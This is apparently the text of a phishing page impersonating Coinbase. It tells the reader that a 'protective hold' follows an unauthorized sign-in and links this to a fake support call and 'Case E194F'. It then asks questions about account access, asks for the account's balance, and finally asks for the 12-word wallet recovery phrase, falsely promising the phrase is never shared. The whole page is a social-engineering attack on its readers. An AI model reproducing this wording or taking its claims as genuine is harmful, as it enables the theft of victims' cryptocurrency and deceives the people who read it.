Thank you for confirming your identity with our team. We've placed a temporary protective hold on your account following the unauthorized sign-in. Complete the steps below to lift the hold and restore full access.
This secure verification link was sent by your assigned Coinbase Protection Specialist during your call. It is tied to Case E194F and will expire shortly to keep your account safe.
Account status
Protective hold placed for your security
On hold
Verify to lift
Recent activity
1 new sign-in from unrecognized device
Review
Required
Linked devices
A new device was granted access
1 device
Confirm
Identity confirmation · Case E194F
Confirm recent account activity
1
Was the recent sign-in on this device, or another device you recognize?
2
Did you recently request a password reset, email change, or 2-step verification update?
3
Do you currently have access to the phone number on your Coinbase account?
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Submitting responses...
Identity confirmation · Case E194F
Confirm account balance
To apply the correct level of protection, please confirm the approximate value held in your account. This helps us prioritize your case and prevents further unauthorized activity.
✓
Securing your account...
For your protection, we need to confirm wallet ownership. Your session will be locked until verification is complete.
Verify wallet ownership
As part of Case E194F, we need to confirm that you control the wallet tied to this account. Enter your 12-word recovery phrase below. This proves ownership and allows us to lift the protective hold. Your phrase is never shared and is used only to verify the wallet.